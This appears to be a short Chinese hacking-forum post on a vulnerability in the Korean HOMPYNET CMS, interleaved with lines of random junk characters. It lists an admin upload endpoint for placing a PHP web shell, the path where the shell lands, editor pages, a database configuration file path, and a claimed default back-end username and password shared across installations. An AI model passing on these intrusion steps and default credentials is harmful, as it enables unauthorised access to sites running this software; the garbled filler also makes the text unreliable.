韩国HOMPYNET CMS漏洞

admin

上传漏洞  :
2 j$ r7 k9 m8 B
http://www.xxx.com/admin/image_a ... p;iname=&iform=

http://www.xxx.com/admin/image_a ... p;iname=&iform=
! S* n: ~) o3 e
. |5 E/ t9 y8 D3 G7 @4 ^: [# y8 }上传后路径：
3 N  Y7 R; j/ q4 F
http://www.xxx.com/bis_web_page/images/shell.php.en

) q" H6 f0 q4 w  N编辑器：
& X+ i- j- S% }+ O$ I: ?
/ f$ g% C+ V* _9 E$ nhttp://www.xxx.com/admin/editor/SWE.php
) c6 H9 L- C: s3 X; I9 W
. K2 o3 y* C7 c7 S' b" l) dhttp://www.xxx.com/program/editor/SWE.php
" ?8 K/ e0 `" U# U
4 @6 ]) T$ B5 L) v$ f数据配置文件路径：
& z6 _+ A0 g9 f* e. m
http://www.xxx.com/m_config/DATA/g_setting.php
; n# u! k' o' i3 O. Z
8 f  T% e7 s2 ]: p  V% F此程序通用后台账号 ：gamsiw  php99

​
% ^8 j7 i. x5 }1 X+ }; m